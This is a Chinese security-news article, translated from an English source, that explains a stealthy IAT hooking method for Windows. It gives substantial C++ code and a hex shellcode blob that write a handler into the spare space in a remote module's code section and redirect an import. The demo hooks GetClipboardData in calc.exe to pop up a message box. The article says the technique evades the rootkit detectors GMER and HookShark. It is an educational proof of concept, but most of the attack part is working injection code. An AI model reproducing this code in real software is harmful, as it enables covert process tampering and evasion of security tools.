freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
FreeBuf+小程序

FreeBuf+小程序

官方公众号企业安全新浪微博

国内领先的互联网安全新媒体,同时也是爱好者们交流与分享安全技术的社区

IAT Hooking的一种安全实现方式 金币
2016-03-18 09:00:49

0×01 介绍

Hook导入表(IAT hooking)是一个文档齐全的拦截导入函数调用的技术。然而,很多方法依赖于一些可疑的API函数,会遗留一些容易识别的特征,这篇文章探究了一种能够绕过常规检测机制的IAT hooking实现方法。

0×02 传统的实现方式

IAT hooking常通过DLL注入的方式实现。向目标进程中注入一个包含有hooking代码的DLL,这个DLL就可以访问目标进程的内存了。这样就可以修改IAT表项,将其指向DLL中的处理函数。这虽然管用,但是容易被检测出来。采用上述实现方法,系统上会留下一些人工修改的痕迹,比如注册表键或者线程以及内存中的模块。更进一步,处理函数的地址指向的是注入的模块而不是原本的导出函数的模块。

这些痕迹不能很好地隐藏注入行为。通过验证表中的每一项是否指向合适的模块(至少应该指向windwos系统模块)就可以很容易检查IAT表项是否被修改。任何恶意模块一旦被识别出来,就可以容易地从内存中提取出来做进一步的分析。

0×03 一种不同的实现方法

不使用DLL注入可以避免许多DLL注入中会遇到的陷阱。这可以通过使用OpenProcess、NtQueryInformationProcess、ReadProcessMemory以及WriteProcessMemory与目标进程交互的方法来实现。这虽然需要多做些工作,但却有高价值的回报。

1、较少的人工修改痕迹(不在硬盘上写DLLs,内存中没有DLLs,没有被其他进程拥有的线程等)。

2、较少地调用被认为可疑的函数(VirtualAllocEx、CreateRemoteThread,参数中包含PROCESS_CREATE_THREAD的OpenProcess)。

3、因为hook处理代码位于导入模块的.text段中,所以很难检测出来。

这虽然很长而且容易出错,但实现步骤却很简单清楚:

1、以仅限于查询的方式和VM operation/read/write权限打开进程。

2、通过调用NtQueryInformationProcess获取外部进程的进程环境块(PEB)的基地址。

3、利用PEB中的基址以及ReadProcessMemory函数读取外部进程的主映像。

4、使用ReadProcesssMemory找到目标的ILT/IAT表项。

5、把执行hooking的进程中的处理函数拷贝到一段内存中,并将原始的导入地址写入到该内存的预定位置处。

6、使用WriteProcessMemory把处理函数写入到外部进程中的合适的导入模块的.text区段上。

7、使用WriteProcessMemory更新导入地址。

最终实现了IAT hooking,并且没有被GMER 1.0.15.15641和HookShark 0.9发现。在下面的POC中,我们将挂钩Windows计算器的USER32.dll!GetClipboardData函数。

0×04 定位远程进程的PEB

最简单的定位外部进程的PEB的方法是以PROCESS_QUERY_LIMITED_INFORMATION权限调用OpenProcess,然后把这个进程句柄和ProcessBasicInformation (0)结构体传递给NtQueryInformationProcess函数。

DWORD FindRemotePEB(HANDLE hProcess)

{

      HMODULE hNTDLL = LoadLibraryA("ntdll");

 

      if (!hNTDLL)

            return 0;

 

      FARPROC fpNtQueryInformationProcess = GetProcAddress

      (

            hNTDLL,

            "NtQueryInformationProcess"

      );

 

      if (!fpNtQueryInformationProcess)

            return 0;

 

      NtQueryInformationProcess ntQueryInformationProcess =

            (NtQueryInformationProcess)fpNtQueryInformationProcess;

 

      PROCESS_BASIC_INFORMATION* pBasicInfo =

            new PROCESS_BASIC_INFORMATION();

 

      DWORD dwReturnLength = 0;

     

      ntQueryInformationProcess

      (

            hProcess,

            0,

            pBasicInfo,

            sizeof(PROCESS_BASIC_INFORMATION),

            &dwReturnLength

      );

 

      return pBasicInfo->PebBaseAddress;

}

0×05 读取远程进程的映像

通过PEB中的ImageBaseAddress成员和ReadRemoteMemory函数,我们能够读取远程进程的映像

PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress)

{

      BYTE* lpBuffer = new BYTE[BUFFER_SIZE];

 

      BOOL bSuccess = ReadProcessMemory

      (

            hProcess,

            lpImageBaseAddress,

            lpBuffer,

            BUFFER_SIZE,

            0

      );

 

      if (!bSuccess)

            return 0;  

 

      PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer;

     

      PLOADED_IMAGE pImage = new LOADED_IMAGE();

     

      pImage->FileHeader =

            (PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew);

     

      pImage->NumberOfSections =

            pImage->FileHeader->FileHeader.NumberOfSections;

     

      pImage->Sections =

            (PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew +

            sizeof(IMAGE_NT_HEADERS32));

 

      return pImage;

}

0×06 找到远程进程的导入地址

得到远程的映像头之后,我们一定能够找到user32.dll的导入描述符表,然后如同我们获取远程映像那样,使用ReadProcessMemory获得ILT和IAT。

PIMAGE_IMPORT_DESCRIPTOR pImportDescriptors = ReadRemoteImportDescriptors

(

      hProcess,

      pPEB->ImageBaseAddress,

      pImage->FileHeader->OptionalHeader.DataDirectory

);

 

[…]

 

IMAGE_IMPORT_DESCRIPTOR descriptor = pImportDescriptors[i];

 

char* pName = ReadRemoteDescriptorName

(

      hProcess,

      pPEB->ImageBaseAddress,

      &descriptor

);

 

[…]

PIMAGE_THUNK_DATA32 pILT = ReadRemoteILT

(

      hProcess,

      pPEB->ImageBaseAddress,

      &descriptor

);

 

[…]

PIMAGE_THUNK_DATA32 pIAT = ReadRemoteIAT

(

      hProcess,

      pPEB->ImageBaseAddress,

      &descriptor

);

0×07 注入代码并且修改IAT

正如前面所述,hook处理代码所在的位置可能暴露hooking行为。正好,我们的hook函数位于导出目标函数的模块的.text区段中。下面的函数可以帮助我们通过名称找到合适的远程导入模块。

PVOID FindRemoteImageBase(HANDLE hProcess, PPEB pPEB, char* pModuleName)

{

      PPEB_LDR_DATA pLoaderData = ReadRemoteLoaderData(hProcess, pPEB);

 

      PVOID firstFLink = pLoaderData->InLoadOrderModuleList.Flink;

      PVOID fLink = pLoaderData->InLoadOrderModuleList.Flink;

 

      PLDR_MODULE pModule = new LDR_MODULE();

 

      do

      {

            BOOL bSuccess = ReadProcessMemory

            (

                  hProcess,

                  fLink,

                  pModule,

                  sizeof(LDR_MODULE),

                  0

            );

 

            if (!bSuccess)

                  return 0;

 

            PWSTR pwBaseDllName =

            new WCHAR[pModule->BaseDllName.MaximumLength];

 

            bSuccess = ReadProcessMemory

            (

                  hProcess,

                  pModule->BaseDllName.Buffer,

                  pwBaseDllName,

                  pModule->BaseDllName.Length + 2,

                  0

            );

 

            if (bSuccess)

            {

                  size_t sBaseDllName = pModule->BaseDllName.Length / 2 + 1;

                  char* pBaseDllName = new char[sBaseDllName];

 

                  WideCharToMultiByte

                  (

                        CP_ACP,

                        0,

                        pwBaseDllName,

                        pModule->BaseDllName.Length + 2,

                        pBaseDllName,

                        sBaseDllName,

                        0,

                        0

                  );

 

                  if (!_stricmp(pBaseDllName, pModuleName))

                        return pModule->BaseAddress;

            }

 

            fLink = pModule->InLoadOrderModuleList.Flink;

      } while (pModule->InLoadOrderModuleList.Flink != firstFLink);

 

      return 0;

}

现在我们需要在.text区段中找到一个合适的地方注入我们的代码。很幸运,区段.text的原始大小必须是PE可选头中指定的文件对齐大小的倍数。除非代码的实际大小可以被文件对齐大小整除,否则在.text区段的末尾就会有足够的空间允许我们注入一小段代码。

以下代码可以在导入模块的.text区段的末尾寻找能够放置注入代码的空间的绝对地址。

DWORD dwHandlerAddress = (DWORD)pImportImageBase +

      pImportTextHeader->VirtualAddress +

      pImportTextHeader->SizeOfRawData -

      dwHandlerSize;

为了保证功能正常,注入到计算器中的代码必须是与位置无关的。在这个POC中我将使用windows messagebox shellcode,并做若干修改,包括函数的起始和结束部分以及一个到0xDEADBEEF的跳转。汇编代码(工程中的handler.asm)使用NASM汇编器编译,然后转成一个C字符串形式的十六进制码。

char* handler =

      "\x55\x31\xdb\xeb\x55\x64\x8b\x7b"

      "\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b"

      "\x47\x08\x8b\x77\x20\x8b\x3f\x80"

      "\x7e\x0c\x33\x75\xf2\x89\xc7\x03"

      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b"

      "\x7a\x20\x01\xc7\x89\xdd\x8b\x34"

      "\xaf\x01\xc6\x45\x8b\x4c\x24\x04"

      "\x39\x0e\x75\xf2\x8b\x4c\x24\x08"

      "\x39\x4e\x04\x75\xe9\x8b\x7a\x24"

      "\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a"

      "\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01"

      "\xf8\xc3\x68\x4c\x69\x62\x72\x68"

      "\x4c\x6f\x61\x64\xe8\x9c\xff\xff"

      "\xff\x31\xc9\x66\xb9\x33\x32\x51"

      "\x68\x75\x73\x65\x72\x54\xff\xd0"

      "\x50\x68\x72\x6f\x63\x41\x68\x47"

      "\x65\x74\x50\xe8\x7d\xff\xff\xff"

      "\x59\x59\x59\x68\xf0\x86\x17\x04"

      "\xc1\x2c\x24\x04\x68\x61\x67\x65"

      "\x42\x68\x4d\x65\x73\x73\x54\x51"

      "\xff\xd0\x53\x53\x53\x53\xff\xd0"

      "\xb9\x07\x00\x00\x00\x58\xe2\xfd"

      "\x5d\xb8\xef\xbe\xad\xde\xff\xe0";

在注入这段处理函数之前,需要把0xDEADBEEF替换成我们要挂钩的函数的地址。给下面的函数传入合适的参数就可以实现这个功能。

BOOL PatchDWORD(BYTE* pBuffer, DWORD dwBufferSize, DWORD dwOldValue,

                DWORD dwNewValue)

{

      for (int i = 0; i < dwBufferSize - 4; i++)

      {          

            if (*(PDWORD)(pBuffer + i) == dwOldValue)

            {

                  memcpy(pBuffer + i, &dwNewValue, 4);

 

                  return TRUE;

            }

      }

 

      return FALSE;

}

一旦处理函数修改好,就可以被注入,然后修改导入地址指向这个处理函数。

// Write handler to .text section

bSuccess = WriteProcessMemory

(

      hProcess,

      (LPVOID)dwHandlerAddress,

      pHandlerBuffer,

      dwHandlerSize,

      0

);

 

if (!bSuccess)

{

      printf("Error writing process memory");

      return FALSE;

}

 

printf("Handler address: 0x%p\r\n", dwHandlerAddress);

 

LPVOID pAddress = (LPVOID)((DWORD)pPEB->ImageBaseAddress +

      descriptor.FirstThunk + (dwOffset * sizeof(IMAGE_THUNK_DATA32)));

 

// Write IAT

bSuccess = WriteProcessMemory

(

      hProcess,

      pAddress,

      &dwHandlerAddress,

      4,

      0

);

 

if (!bSuccess)

{

      printf("Error writing process memory");

      return FALSE;

}    

 

return TRUE;

用一个函数调用来hook特定函数非常简单,我们需要的只是目标进程的ID,模块名称,函数名称,处理代码以及处理代码的大小。

HookFunction

(

      dwProcessId,

      "user32.dll",

      "GetClipboardData",

      handler,

      0x100

);

0×08 POC测试

编译出一个可执行程序(在资源中可找到下载信息)。在运行它之前确保有一个计算器在运行。执行这个程序,它会试图hook遇到的第一个名为calc.exe的进程。确认没有发生错误。成功注入后的输出信息应该如下所示:

Original import address: 0x762F715A

Handler address: 0x76318300

Press any key to continue . . .

要测试hook,可以使用计算器的粘贴功能。操作后,会有一个消息框弹出来。当消息框关闭后计算器可以恢复正常功能。

0×09 结论

尽管在hook检测方面做了许多工作,这篇文章中描述的IAT hooking证实了通过变化现有技术,rootkit检测程序是可以被规避的。把同样的方法应用到不同的形式中,比如EAT hooking或inline hooking,应该也能取到同样的改进效果。

0×10 资源

IAT Hooking Revisited Proof Of Concept Source

The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System

Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code

Microsoft PE and COFF Specification

Packet Storm

* 参考来源:autosectools,felix编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

本文作者:, 转载请注明来自FreeBuf.COM

# IAT Hooking # Hooking
被以下专栏收录,发现更多精彩内容
+ 收入我的专栏
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦